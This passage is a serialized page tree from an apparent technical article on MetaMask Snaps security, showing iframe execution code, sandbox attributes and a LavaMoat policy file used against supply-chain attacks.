this",{"type":23,"tag":141,"props":34537,"children":34538},{"style":154},[34539],{"type":29,"value":322},{"type":23,"tag":141,"props":34541,"children":34542},{"style":184},[34543],{"type":29,"value":34544},"handleRpcRequest",{"type":23,"tag":141,"props":34546,"children":34547},{"style":154},[34548],{"type":29,"value":192},{"type":23,"tag":141,"props":34550,"children":34551},{"style":750},[34552],{"type":29,"value":34491},{"type":23,"tag":141,"props":34554,"children":34555},{"style":154},[34556],{"type":29,"value":480},{"type":23,"tag":141,"props":34558,"children":34559},{"style":750},[34560],{"type":29,"value":34509},{"type":23,"tag":141,"props":34562,"children":34563},{"style":154},[34564],{"type":29,"value":5410},{"type":23,"tag":141,"props":34566,"children":34567},{"class":143,"line":241},[34568],{"type":23,"tag":141,"props":34569,"children":34570},{"style":154},[34571],{"type":29,"value":2496},{"type":23,"tag":141,"props":34573,"children":34574},{"class":143,"line":262},[34575],{"type":23,"tag":141,"props":34576,"children":34577},{"emptyLinePlaceholder":15},[34578],{"type":29,"value":719},{"type":23,"tag":141,"props":34580,"children":34581},{"class":143,"line":271},[34582],{"type":23,"tag":141,"props":34583,"children":34584},{"style":443},[34585],{"type":29,"value":34586},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":141,"props":34588,"children":34589},{"class":143,"line":293},[34590],{"type":23,"tag":141,"props":34591,"children":34592},{"style":443},[34593],{"type":29,"value":34106},{"type":23,"tag":141,"props":34595,"children":34596},{"class":143,"line":801},[34597],{"type":23,"tag":141,"props":34598,"children":34599},{"emptyLinePlaceholder":15},[34600],{"type":29,"value":719},{"type":23,"tag":141,"props":34602,"children":34603},{"class":143,"line":810},[34604],{"type":23,"tag":141,"props":34605,"children":34606},{"style":443},[34607],{"type":29,"value":34608},"// Execute a snap\n",{"type":23,"tag":141,"props":34610,"children":34611},{"class":143,"line":824},[34612,34617,34622,34626,34631,34635,34640],{"type":23,"tag":141,"props":34613,"children":34614},{"style":750},[34615],{"type":29,"value":34616},"async",{"type":23,"tag":141,"props":34618,"children":34619},{"style":184},[34620],{"type":29,"value":34621}," executeSnap",{"type":23,"tag":141,"props":34623,"children":34624},{"style":154},[34625],{"type":29,"value":192},{"type":23,"tag":141,"props":34627,"children":34628},{"style":750},[34629],{"type":29,"value":34630},"snapData",{"type":23,"tag":141,"props":34632,"children":34633},{"style":154},[34634],{"type":29,"value":14008},{"type":23,"tag":141,"props":34636,"children":34637},{"style":750},[34638],{"type":29,"value":34639},"SnapExecutionData",{"type":23,"tag":141,"props":34641,"children":34642},{"style":154},[34643],{"type":29,"value":13480},{"type":23,"tag":141,"props":34645,"children":34646},{"class":143,"line":839},[34647],{"type":23,"tag":141,"props":34648,"children":34649},{"style":443},[34650],{"type":29,"value":34651}," // Initialize job, streams, and environment\n",{"type":23,"tag":141,"props":34653,"children":34654},{"class":143,"line":848},[34655,34660,34664,34669,34674,34678,34683,34687,34691,34696,34700,34704],{"type":23,"tag":141,"props":34656,"children":34657},{"style":449},[34658],{"type":29,"value":34659}," const",{"type":23,"tag":141,"props":34661,"children":34662},{"style":154},[34663],{"type":29,"value":8264},{"type":23,"tag":141,"props":34665,"children":34666},{"style":750},[34667],{"type":29,"value":34668},"jobId",{"type":23,"tag":141,"props":34670,"children":34671},{"style":154},[34672],{"type":29,"value":34673}," } ",{"type":23,"tag":141,"props":34675,"children":34676},{"style":160},[34677],{"type":29,"value":1377},{"type":23,"tag":141,"props":34679,"children":34680},{"style":148},[34681],{"type":29,"value":34682}," await",{"type":23,"tag":141,"props":34684,"children":34685},{"style":449},[34686],{"type":29,"value":34187},{"type":23,"tag":141,"props":34688,"children":34689},{"style":154},[34690],{"type":29,"value":322},{"type":23,"tag":141,"props":34692,"children":34693},{"style":184},[34694],{"type":29,"value":34695},"initJob",{"type":23,"tag":141,"props":34697,"children":34698},{"style":154},[34699],{"type":29,"value":192},{"type":23,"tag":141,"props":34701,"children":34702},{"style":750},[34703],{"type":29,"value":34630},{"type":23,"tag":141,"props":34705,"children":34706},{"style":154},[34707],{"type":29,"value":2496},{"type":23,"tag":141,"props":34709,"children":34710},{"class":143,"line":2304},[34711,34715,34719,34724,34728,34733,34737,34741,34745,34749,34753,34758,34762,34766],{"type":23,"tag":141,"props":34712,"children":34713},{"style":449},[34714],{"type":29,"value":34659},{"type":23,"tag":141,"props":34716,"children":34717},{"style":154},[34718],{"type":29,"value":8264},{"type":23,"tag":141,"props":34720,"children":34721},{"style":750},[34722],{"type":29,"value":34723},"worker",{"type":23,"tag":141,"props":34725,"children":34726},{"style":154},[34727],{"type":29,"value":480},{"type":23,"tag":141,"props":34729,"children":34730},{"style":750},[34731],{"type":29,"value":34732},"stream",{"type":23,"tag":141,"props":34734,"children":34735},{"style":154},[34736],{"type":29,"value":34673},{"type":23,"tag":141,"props":34738,"children":34739},{"style":160},[34740],{"type":29,"value":1377},{"type":23,"tag":141,"props":34742,"children":34743},{"style":148},[34744],{"type":29,"value":34682},{"type":23,"tag":141,"props":34746,"children":34747},{"style":449},[34748],{"type":29,"value":34187},{"type":23,"tag":141,"props":34750,"children":34751},{"style":154},[34752],{"type":29,"value":322},{"type":23,"tag":141,"props":34754,"children":34755},{"style":184},[34756],{"type":29,"value":34757},"initEnvStream",{"type":23,"tag":141,"props":34759,"children":34760},{"style":154},[34761],{"type":29,"value":192},{"type":23,"tag":141,"props":34763,"children":34764},{"style":750},[34765],{"type":29,"value":34668},{"type":23,"tag":141,"props":34767,"children":34768},{"style":154},[34769],{"type":29,"value":2496},{"type":23,"tag":141,"props":34771,"children":34772},{"class":143,"line":2313},[34773],{"type":23,"tag":141,"props":34774,"children":34775},{"style":443},[34776],{"type":29,"value":34777}," // ...\n",{"type":23,"tag":141,"props":34779,"children":34780},{"class":143,"line":2335},[34781],{"type":23,"tag":141,"props":34782,"children":34783},{"style":154},[34784],{"type":29,"value":2573},{"type":23,"tag":32,"props":34786,"children":34787},{},[34788,34789,34794,34796,34802],{"type":29,"value":388},{"type":23,"tag":38,"props":34790,"children":34792},{"className":34791},[],[34793],{"type":29,"value":34364},{"type":29,"value":34795}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":38,"props":34797,"children":34799},{"className":34798},[],[34800],{"type":29,"value":34801},"${controllerName}:executeSnap",{"type":29,"value":34803}," handler triggers the snap execution process.",{"type":23,"tag":17563,"props":34805,"children":34807},{"id":34806},"step-by-step-execution-from-initialization-to-iframe-creation",[34808,34810],{"type":29,"value":34809},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":55,"props":34811,"children":34814},{"href":34812,"rel":34813},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[59],[34815],{"type":29,"value":34816},"creation",{"type":23,"tag":131,"props":34818,"children":34820},{"className":34401,"code":34819,"language":34403,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[34821],{"type":23,"tag":38,"props":34822,"children":34823},{"__ignoreMap":7},[34824,34873,34894,34915,34923,34987,34994,35022,35039,35056,35073,35090,35097,35104,35128],{"type":23,"tag":141,"props":34825,"children":34826},{"class":143,"line":144},[34827,34832,34837,34842,34846,34850,34854,34858,34863,34868],{"type":23,"tag":141,"props":34828,"children":34829},{"style":750},[34830],{"type":29,"value":34831},"protected",{"type":23,"tag":141,"props":34833,"children":34834},{"style":750},[34835],{"type":29,"value":34836}," async",{"type":23,"tag":141,"props":34838,"children":34839},{"style":184},[34840],{"type":29,"value":34841}," initEnvStream",{"type":23,"tag":141,"props":34843,"children":34844},{"style":154},[34845],{"type":29,"value":192},{"type":23,"tag":141,"props":34847,"children":34848},{"style":750},[34849],{"type":29,"value":34668},{"type":23,"tag":141,"props":34851,"children":34852},{"style":154},[34853],{"type":29,"value":14008},{"type":23,"tag":141,"props":34855,"children":34856},{"style":750},[34857],{"type":29,"value":728},{"type":23,"tag":141,"props":34859,"children":34860},{"style":154},[34861],{"type":29,"value":34862},"): ",{"type":23,"tag":141,"props":34864,"children":34865},{"style":725},[34866],{"type":29,"value":34867},"Promise",{"type":23,"tag":141,"props":34869,"children":34870},{"style":154},[34871],{"type":29,"value":34872},"\u003C{\n",{"type":23,"tag":141,"props":34874,"children":34875},{"class":143,"line":180},[34876,34881,34885,34890],{"type":23,"tag":141,"props":34877,"children":34878},{"style":750},[34879],{"type":29,"value":34880}," worker",{"type":23,"tag":141,"props":34882,"children":34883},{"style":160},[34884],{"type":29,"value":114},{"type":23,"tag":141,"props":34886,"children":34887},{"style":725},[34888],{"type":29,"value":34889}," Window",{"type":23,"tag":141,"props":34891,"children":34892},{"style":154},[34893],{"type":29,"value":1684},{"type":23,"tag":141,"props":34895,"children":34896},{"class":143,"line":205},[34897,34902,34906,34911],{"type":23,"tag":141,"props":34898,"children":34899},{"style":750},[34900],{"type":29,"value":34901}," stream",{"type":23,"tag":141,"props":34903,"children":34904},{"style":160},[34905],{"type":29,"value":114},{"type":23,"tag":141,"props":34907,"children":34908},{"style":725},[34909],{"type":29,"value":34910}," BasePostMessageStream",{"type":23,"tag":141,"props":34912,"children":34913},{"style":154},[34914],{"type":29,"value":1684},{"type":23,"tag":141,"props":34916,"children":34917},{"class":143,"line":218},[34918],{"type":23,"tag":141,"props":34919,"children":34920},{"style":154},[34921],{"type":29,"value":34922}," }> {\n",{"type":23,"tag":141,"props":34924,"children":34925},{"class":143,"line":227},[34926,34931,34936,34940,34944,34949,34953,34957,34961,34966,34970,34975,34979,34983],{"type":23,"tag":141,"props":34927,"children":34928},{"style":154},[34929],{"type":29,"value":34930}," const ",{"type":23,"tag":141,"props":34932,"children":34933},{"style":750},[34934],{"type":29,"value":34935},"iframeWindow",{"type":23,"tag":141,"props":34937,"children":34938},{"style":160},[34939],{"type":29,"value":1674},{"type":23,"tag":141,"props":34941,"children":34942},{"style":148},[34943],{"type":29,"value":34682},{"type":23,"tag":141,"props":34945,"children":34946},{"style":184},[34947],{"type":29,"value":34948}," createWindow",{"type":23,"tag":141,"props":34950,"children":34951},{"style":154},[34952],{"type":29,"value":192},{"type":23,"tag":141,"props":34954,"children":34955},{"style":449},[34956],{"type":29,"value":16370},{"type":23,"tag":141,"props":34958,"children":34959},{"style":154},[34960],{"type":29,"value":322},{"type":23,"tag":141,"props":34962,"children":34963},{"style":750},[34964],{"type":29,"value":34965},"iframeUrl",{"type":23,"tag":141,"props":34967,"children":34968},{"style":154},[34969],{"type":29,"value":322},{"type":23,"tag":141,"props":34971,"children":34972},{"style":184},[34973],{"type":29,"value":34974},"toString",{"type":23,"tag":141,"props":34976,"children":34977},{"style":154},[34978],{"type":29,"value":17053},{"type":23,"tag":141,"props":34980,"children":34981},{"style":750},[34982],{"type":29,"value":34668},{"type":23,"tag":141,"props":34984,"children":34985},{"style":154},[34986],{"type":29,"value":2496},{"type":23,"tag":141,"props":34988,"children":34989},{"class":143,"line":241},[34990],{"type":23,"tag":141,"props":34991,"children":34992},{"emptyLinePlaceholder":15},[34993],{"type":29,"value":719},{"type":23,"tag":141,"props":34995,"children":34996},{"class":143,"line":262},[34997,35001,35005,35009,35013,35018],{"type":23,"tag":141,"props":34998,"children":34999},{"style":154},[35000],{"type":29,"value":34930},{"type":23,"tag":141,"props":35002,"children":35003},{"style":750},[35004],{"type":29,"value":34732},{"type":23,"tag":141,"props":35006,"children":35007},{"style":160},[35008],{"type":29,"value":1674},{"type":23,"tag":141,"props":35010,"children":35011},{"style":449},[35012],{"type":29,"value":30401},{"type":23,"tag":141,"props":35014,"children":35015},{"style":184},[35016],{"type":29,"value":35017}," WindowPostMessageStream",{"type":23,"tag":141,"props":35019,"children":35020},{"style":154},[35021],{"type":29,"value":13817},{"type":23,"tag":141,"props":35023,"children":35024},{"class":143,"line":271},[35025,35030,35035],{"type":23,"tag":141,"props":35026,"children":35027},{"style":750},[35028],{"type":29,"value":35029}," name:",{"type":23,"tag":141,"props":35031,"children":35032},{"style":828},[35033],{"type":29,"value":35034}," 'parent'",{"type":23,"tag":141,"props":35036,"children":35037},{"style":154},[35038],{"type":29,"value":2168},{"type":23,"tag":141,"props":35040,"children":35041},{"class":143,"line":293},[35042,35047,35052],{"type":23,"tag":141,"props":35043,"children":35044},{"style":750},[35045],{"type":29,"value":35046}," target:",{"type":23,"tag":141,"props":35048,"children":35049},{"style":828},[35050],{"type":29,"value":35051}," 'child'",{"type":23,"tag":141,"props":35053,"children":35054},{"style":154},[35055],{"type":29,"value":2168},{"type":23,"tag":141,"props":35057,"children":35058},{"class":143,"line":801},[35059,35064,35069],{"type":23,"tag":141,"props":35060,"children":35061},{"style":750},[35062],{"type":29,"value":35063}," targetWindow:",{"type":23,"tag":141,"props":35065,"children":35066},{"style":750},[35067],{"type":29,"value":35068}," iframeWindow",{"type":23,"tag":141,"props":35070,"children":35071},{"style":154},[35072],{"type":29,"value":2168},{"type":23,"tag":141,"props":35074,"children":35075},{"class":143,"line":810},[35076,35081,35086],{"type":23,"tag":141,"props":35077,"children":35078},{"style":750},[35079],{"type":29,"value":35080}," targetOrigin:",{"type":23,"tag":141,"props":35082,"children":35083},{"style":828},[35084],{"type":29,"value":35085}," '*'",{"type":23,"tag":141,"props":35087,"children":35088},{"style":154},[35089],{"type":29,"value":2168},{"type":23,"tag":141,"props":35091,"children":35092},{"class":143,"line":824},[35093],{"type":23,"tag":141,"props":35094,"children":35095},{"style":154},[35096],{"type":29,"value":30725},{"type":23,"tag":141,"props":35098,"children":35099},{"class":143,"line":839},[35100],{"type":23,"tag":141,"props":35101,"children":35102},{"emptyLinePlaceholder":15},[35103],{"type":29,"value":719},{"type":23,"tag":141,"props":35105,"children":35106},{"class":143,"line":848},[35107,35112,35116,35120,35124],{"type":23,"tag":141,"props":35108,"children":35109},{"style":154},[35110],{"type":29,"value":35111}," return { worker: ",{"type":23,"tag":141,"props":35113,"children":35114},{"style":750},[35115],{"type":29,"value":34935},{"type":23,"tag":141,"props":35117,"children":35118},{"style":154},[35119],{"type":29,"value":480},{"type":23,"tag":141,"props":35121,"children":35122},{"style":750},[35123],{"type":29,"value":34732},{"type":23,"tag":141,"props":35125,"children":35126},{"style":154},[35127],{"type":29,"value":16977},{"type":23,"tag":141,"props":35129,"children":35130},{"class":143,"line":2304},[35131],{"type":23,"tag":141,"props":35132,"children":35133},{"style":154},[35134],{"type":29,"value":854},{"type":23,"tag":32,"props":35136,"children":35137},{},[35138,35140,35146,35148,35155],{"type":29,"value":35139},"Here the iframe is created via ",{"type":23,"tag":38,"props":35141,"children":35143},{"className":35142},[],[35144],{"type":29,"value":35145},"createWindow",{"type":29,"value":35147},", which is defined in snaps-utils ",{"type":23,"tag":55,"props":35149,"children":35152},{"href":35150,"rel":35151},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[59],[35153],{"type":29,"value":35154},"package",{"type":29,"value":114},{"type":23,"tag":131,"props":35157,"children":35159},{"className":34401,"code":35158,"language":34403,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[35160],{"type":23,"tag":38,"props":35161,"children":35162},{"__ignoreMap":7},[35163,35206,35244,35281,35288,35308,35346,35353,35390],{"type":23,"tag":141,"props":35164,"children":35165},{"class":143,"line":144},[35166,35170,35175,35179,35184,35188,35193,35197,35202],{"type":23,"tag":141,"props":35167,"children":35168},{"style":449},[35169],{"type":29,"value":8334},{"type":23,"tag":141,"props":35171,"children":35172},{"style":750},[35173],{"type":29,"value":35174}," iframe",{"type":23,"tag":141,"props":35176,"children":35177},{"style":160},[35178],{"type":29,"value":1674},{"type":23,"tag":141,"props":35180,"children":35181},{"style":750},[35182],{"type":29,"value":35183}," document",{"type":23,"tag":141,"props":35185,"children":35186},{"style":154},[35187],{"type":29,"value":322},{"type":23,"tag":141,"props":35189,"children":35190},{"style":184},[35191],{"type":29,"value":35192},"createElement",{"type":23,"tag":141,"props":35194,"children":35195},{"style":154},[35196],{"type":29,"value":192},{"type":23,"tag":141,"props":35198,"children":35199},{"style":828},[35200],{"type":29,"value":35201},"'iframe'",{"type":23,"tag":141,"props":35203,"children":35204},{"style":154},[35205],{"type":29,"value":2496},{"type":23,"tag":141,"props":35207,"children":35208},{"class":143,"line":180},[35209,35214,35218,35223,35227,35232,35236,35240],{"type":23,"tag":141,"props":35210,"children":35211},{"style":750},[35212],{"type":29,"value":35213}," iframe",{"type":23,"tag":141,"props":35215,"children":35216},{"style":154},[35217],{"type":29,"value":322},{"type":23,"tag":141,"props":35219,"children":35220},{"style":184},[35221],{"type":29,"value":35222},"setAttribute",{"type":23,"tag":141,"props":35224,"children":35225},{"style":154},[35226],{"type":29,"value":192},{"type":23,"tag":141,"props":35228,"children":35229},{"style":828},[35230],{"type":29,"value":35231},"'id'",{"type":23,"tag":141,"props":35233,"children":35234},{"style":154},[35235],{"type":29,"value":480},{"type":23,"tag":141,"props":35237,"children":35238},{"style":750},[35239],{"type":29,"value":2146},{"type":23,"tag":141,"props":35241,"children":35242},{"style":154},[35243],{"type":29,"value":2496},{"type":23,"tag":141,"props":35245,"children":35246},{"class":143,"line":205},[35247,35251,35255,35259,35263,35268,35272,35277],{"type":23,"tag":141,"props":35248,"children":35249},{"style":750},[35250],{"type":29,"value":35213},{"type":23,"tag":141,"props":35252,"children":35253},{"style":154},[35254],{"type":29,"value":322},{"type":23,"tag":141,"props":35256,"children":35257},{"style":184},[35258],{"type":29,"value":35222},{"type":23,"tag":141,"props":35260,"children":35261},{"style":154},[35262],{"type":29,"value":192},{"type":23,"tag":141,"props":35264,"children":35265},{"style":828},[35266],{"type":29,"value":35267},"'data-testid'",{"type":23,"tag":141,"props":35269,"children":35270},{"style":154},[35271],{"type":29,"value":480},{"type":23,"tag":141,"props":35273,"children":35274},{"style":828},[35275],{"type":29,"value":35276},"'snaps-iframe'",{"type":23,"tag":141,"props":35278,"children":35279},{"style":154},[35280],{"type":29,"value":2496},{"type":23,"tag":141,"props":35282,"children":35283},{"class":143,"line":218},[35284],{"type":23,"tag":141,"props":35285,"children":35286},{"emptyLinePlaceholder":15},[35287],{"type":29,"value":719},{"type":23,"tag":141,"props":35289,"children":35290},{"class":143,"line":227},[35291,35295,35299,35304],{"type":23,"tag":141,"props":35292,"children":35293},{"style":148},[35294],{"type":29,"value":151},{"type":23,"tag":141,"props":35296,"children":35297},{"style":154},[35298],{"type":29,"value":1220},{"type":23,"tag":141,"props":35300,"children":35301},{"style":750},[35302],{"type":29,"value":35303},"sandbox",{"type":23,"tag":141,"props":35305,"children":35306},{"style":154},[35307],{"type":29,"value":13480},{"type":23,"tag":141,"props":35309,"children":35310},{"class":143,"line":241},[35311,35316,35320,35324,35328,35333,35337,35342],{"type":23,"tag":141,"props":35312,"children":35313},{"style":750},[35314],{"type":29,"value":35315}," iframe",{"type":23,"tag":141,"props":35317,"children":35318},{"style":154},[35319],{"type":29,"value":322},{"type":23,"tag":141,"props":35321,"children":35322},{"style":184},[35323],{"type":29,"value":35222},{"type":23,"tag":141,"props":35325,"children":35326},{"style":154},[35327],{"type":29,"value":192},{"type":23,"tag":141,"props":35329,"children":35330},{"style":828},[35331],{"type":29,"value":35332},"'sandbox'",{"type":23,"tag":141,"props":35334,"children":35335},{"style":154},[35336],{"type":29,"value":480},{"type":23,"tag":141,"props":35338,"children":35339},{"style":828},[35340],{"type":29,"value":35341},"'allow-scripts'",{"type":23,"tag":141,"props":35343,"children":35344},{"style":154},[35345],{"type":29,"value":2496},{"type":23,"tag":141,"props":35347,"children":35348},{"class":143,"line":262},[35349],{"type":23,"tag":141,"props":35350,"children":35351},{"style":154},[35352],{"type":29,"value":299},{"type":23,"tag":141,"props":35354,"children":35355},{"class":143,"line":271},[35356,35360,35364,35368,35372,35377,35381,35386],{"type":23,"tag":141,"props":35357,"children":35358},{"style":750},[35359],{"type":29,"value":35213},{"type":23,"tag":141,"props":35361,"children":35362},{"style":154},[35363],{"type":29,"value":322},{"type":23,"tag":141,"props":35365,"children":35366},{"style":184},[35367],{"type":29,"value":35222},{"type":23,"tag":141,"props":35369,"children":35370},{"style":154},[35371],{"type":29,"value":192},{"type":23,"tag":141,"props":35373,"children":35374},{"style":828},[35375],{"type":29,"value":35376},"'src'",{"type":23,"tag":141,"props":35378,"children":35379},{"style":154},[35380],{"type":29,"value":480},{"type":23,"tag":141,"props":35382,"children":35383},{"style":750},[35384],{"type":29,"value":35385},"uri",{"type":23,"tag":141,"props":35387,"children":35388},{"style":154},[35389],{"type":29,"value":2496},{"type":23,"tag":141,"props":35391,"children":35392},{"class":143,"line":293},[35393,35397,35401,35405,35409,35414,35418,35423],{"type":23,"tag":141,"props":35394,"children":35395},{"style":750},[35396],{"type":29,"value":33143},{"type":23,"tag":141,"props":35398,"children":35399},{"style":154},[35400],{"type":29,"value":322},{"type":23,"tag":141,"props":35402,"children":35403},{"style":750},[35404],{"type":29,"value":30868},{"type":23,"tag":141,"props":35406,"children":35407},{"style":154},[35408],{"type":29,"value":322},{"type":23,"tag":141,"props":35410,"children":35411},{"style":184},[35412],{"type":29,"value":35413},"appendChild",{"type":23,"tag":141,"props":35415,"children":35416},{"style":154},[35417],{"type":29,"value":192},{"type":23,"tag":141,"props":35419,"children":35420},{"style":750},[35421],{"type":29,"value":35422},"iframe",{"type":23,"tag":141,"props":35424,"children":35425},{"style":154},[35426],{"type":29,"value":2496},{"type":23,"tag":32,"props":35428,"children":35429},{},[35430],{"type":29,"value":35431},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":8287,"props":35433,"children":35435},{"id":35434},"lavamoat-against-supply-chain-attacks-layer-2",[35436],{"type":29,"value":35437},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":32,"props":35439,"children":35440},{},[35441],{"type":29,"value":35442},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":32,"props":35444,"children":35445},{},[35446,35448,35454],{"type":29,"value":35447},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":38,"props":35449,"children":35451},{"className":35450},[],[35452],{"type":29,"value":35453},"fs",{"type":29,"value":35455},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":32,"props":35457,"children":35458},{},[35459],{"type":29,"value":35460},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":32,"props":35462,"children":35463},{},[35464,35466,35473],{"type":29,"value":35465},"This is how a Policy file related to the iframes ",{"type":23,"tag":55,"props":35467,"children":35470},{"href":35468,"rel":35469},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[59],[35471],{"type":29,"value":35472},"looks",{"type":29,"value":114},{"type":23,"tag":131,"props":35475,"children":35477},{"className":32465,"code":35476,"language":32467,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[35478],{"type":23,"tag":38,"props":35479,"children":35480},{"__ignoreMap":7},[35481,35494,35506,35526,35546,35566,35586,35606,35626,35646,35663,35671,35683,35703,35719,35726],{"type":23,"tag":141,"props":35482,"children":35483},{"class":143,"line":144},[35484,35489],{"type":23,"tag":141,"props":35485,"children":35486},{"style":828},[35487],{"type":29,"value":35488},"\"@metamask/post-message-stream\"",{"type":23,"tag":141,"props":35490,"children":35491},{"style":154},[35492],{"type":29,"value":35493},": {\n",{"type":23,"tag":141,"props":35495,"children":35496},{"class":143,"line":180},[35497,35502],{"type":23,"tag":141,"props":35498,"children":35499},{"style":750},[35500],{"type":29,"value":35501}," \"globals\"",{"type":23,"tag":141,"props":35503,"children":35504},{"style":154},[35505],{"type":29,"value":35493},{"type":23,"tag":141,"props":35507,"children":35508},{"class":143,"line":205},[35509,35514,35518,35522],{"type":23,"tag":141,"props":35510,"children":35511},{"style":750},[35512],{"type":29,"value":35513}," \"MessageEvent.prototype\"",{"type":23,"tag":141,"props":35515,"children":35516},{"style":154},[35517],{"type":29,"value":14008},{"type":23,"tag":141,"props":35519,"children":35520},{"style":449},[35521],{"type":29,"value":2670},{"type":23,"tag":141,"props":35523,"children":35524},{"style":154},[35525],{"type":29,"value":2168},{"type":23,"tag":141,"props":35527,"children":35528},{"class":143,"line":218},[35529,35534,35538,35542],{"type":23,"tag":141,"props":35530,"children":35531},{"style":750},[35532],{"type":29,"value":35533}," \"WorkerGlobalScope\"",{"type":23,"tag":141,"props":35535,"children":35536},{"style":154},[35537],{"type":29,"value":14008},{"type":23,"tag":141,"props":35539,"children":35540},{"style":449},[35541],{"type":29,"value":2670},{"type":23,"tag":141,"props":35543,"children":35544},{"style":154},[35545],{"type":29,"value":2168},{"type":23,"tag":141,"props":35547,"children":35548},{"class":143,"line":227},[35549,35554,35558,35562],{"type":23,"tag":141,"props":35550,"children":35551},{"style":750},[35552],{"type":29,"value":35553}," \"addEventListener\"",{"type":23,"tag":141,"props":35555,"children":35556},{"style":154},[35557],{"type":29,"value":14008},{"type":23,"tag":141,"props":35559,"children":35560},{"style":449},[35561],{"type":29,"value":2670},{"type":23,"tag":141,"props":35563,"children":35564},{"style":154},[35565],{"type":29,"value":2168},{"type":23,"tag":141,"props":35567,"children":35568},{"class":143,"line":241},[35569,35574,35578,35582],{"type":23,"tag":141,"props":35570,"children":35571},{"style":750},[35572],{"type":29,"value":35573}," \"browser\"",{"type":23,"tag":141,"props":35575,"children":35576},{"style":154},[35577],{"type":29,"value":14008},{"type":23,"tag":141,"props":35579,"children":35580},{"style":449},[35581],{"type":29,"value":2670},{"type":23,"tag":141,"props":35583,"children":35584},{"style":154},[35585],{"type":29,"value":2168},{"type":23,"tag":141,"props":35587,"children":35588},{"class":143,"line":262},[35589,35594,35598,35602],{"type":23,"tag":141,"props":35590,"children":35591},{"style":750},[35592],{"type":29,"value":35593}," \"chrome\"",{"type":23,"tag":141,"props":35595,"children":35596},{"style":154},[35597],{"type":29,"value":14008},{"type":23,"tag":141,"props":35599,"children":35600},{"style":449},[35601],{"type":29,"value":2670},{"type":23,"tag":141,"props":35603,"children":35604},{"style":154},[35605],{"type":29,"value":2168},{"type":23,"tag":141,"props":35607,"children":35608},{"class":143,"line":271},[35609,35614,35618,35622],{"type":23,"tag":141,"props":35610,"children":35611},{"style":750},[35612],{"type":29,"value":35613}," \"location.origin\"",{"type":23,"tag":141,"props":35615,"children":35616},{"style":154},[35617],{"type":29,"value":14008},{"type":23,"tag":141,"props":35619,"children":35620},{"style":449},[35621],{"type":29,"value":2670},{"type":23,"tag":141,"props":35623,"children":35624},{"style":154},[35625],{"type":29,"value":2168},{"type":23,"tag":141,"props":35627,"children":35628},{"class":143,"line":293},[35629,35634,35638,35642],{"type":23,"tag":141,"props":35630,"children":35631},{"style":750},[35632],{"type":29,"value":35633}," \"postMessage\"",{"type":23,"tag":141,"props":35635,"children":35636},{"style":154},[35637],{"type":29,"value":14008},{"type":23,"tag":141,"props":35639,"children":35640},{"style":449},[35641],{"type":29,"value":2670},{"type":23,"tag":141,"props":35643,"children":35644},{"style":154},[35645],{"type":29,"value":2168},{"type":23,"tag":141,"props":35647,"children":35648},{"class":143,"line":801},[35649,35654,35658],{"type":23,"tag":141,"props":35650,"children":35651},{"style":750},[35652],{"type":29,"value":35653}," \"removeEventListener\"",{"type":23,"tag":141,"props":35655,"children":35656},{"style":154},[35657],{"type":29,"value":14008},{"type":23,"tag":141,"props":35659,"children":35660},{"style":449},[35661],{"type":29,"value":35662},"true\n",{"type":23,"tag":141,"props":35664,"children":35665},{"class":143,"line":810},[35666],{"type":23,"tag":141,"props":35667,"children":35668},{"style":154},[35669],{"type":29,"value":35670}," },\n",{"type":23,"tag":141,"props":35672,"children":35673},{"class":143,"line":824},[35674,35679],{"type":23,"tag":141,"props":35675,"children":35676},{"style":750},[35677],{"type":29,"value":35678}," \"packages\"",{"type":23,"tag":141,"props":35680,"children":35681},{"style":154},[35682],{"type":29,"value":35493},{"type":23,"tag":141,"props":35684,"children":35685},{"class":143,"line":839},[35686,35691,35695,35699],{"type":23,"tag":141,"props":35687,"children":35688},{"style":750},[35689],{"type":29,"value":35690}," 